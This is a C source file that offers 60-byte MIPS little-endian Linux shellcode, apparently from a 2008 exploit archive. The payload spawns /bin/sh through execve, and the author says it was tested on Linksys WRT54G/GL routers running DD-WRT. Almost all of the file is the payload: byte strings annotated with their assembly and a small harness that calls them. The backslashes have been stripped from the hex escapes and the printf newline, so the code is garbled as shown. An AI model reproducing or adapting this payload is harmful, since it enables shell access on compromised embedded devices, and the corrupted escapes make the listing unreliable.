/*	- MIPS little-endian 
 *	- linux execve 60 bytes shellcode 
 *	- execve("/bin/sh",["/bin/sh"],[]);
 *      - tested on Linksys WRT54G/GL (DD-WRT Linux)
 *      - based on scut paper Writing MIPS/Irix shellcode
 *
 *                              vaicebine at gmail dot com
 */
#include <stdio.h>


char shellcode[] = {
	"x50x73x06x24" /*     li      a2,0x7350             */
	"xffxffxd0x04" /* LB: bltzal  a2,LB                 */
	"x50x73x0fx24" /*     li      $t7,0x7350 (nop)      */
	"xffxffx06x28" /*     slti    a2, $0,-1             */
	"xe0xffxbdx27" /*     addiu   sp,sp,-32             */
	"xd7xffx0fx24" /*     li      t7,-41                */
	"x27x78xe0x01" /*     nor     t7,t7,zero            */    
	"x21x20xefx03" /*     addu    a0,ra,t7              */
	"xe8xffxa4xaf" /*     sw      a0,-24(sp)            */
	"xecxffxa0xaf" /*     sw      zero,-20(sp)          */
	"xe8xffxa5x23" /*     addi    a1,sp,-24             */        
	"xabx0fx02x24" /*     li      v0,4011               */
	"x0cx01x01x01" /*     syscall                       */
	"/bin/sh" 
};

int main(int argc, char *argv[]) 
{
	void (*p)(void);
	p = shellcode;
	printf("shellcode size %dn", sizeof(shellcode));
	p();

	return 0;
}

// www.Syue.com [2008-08-18]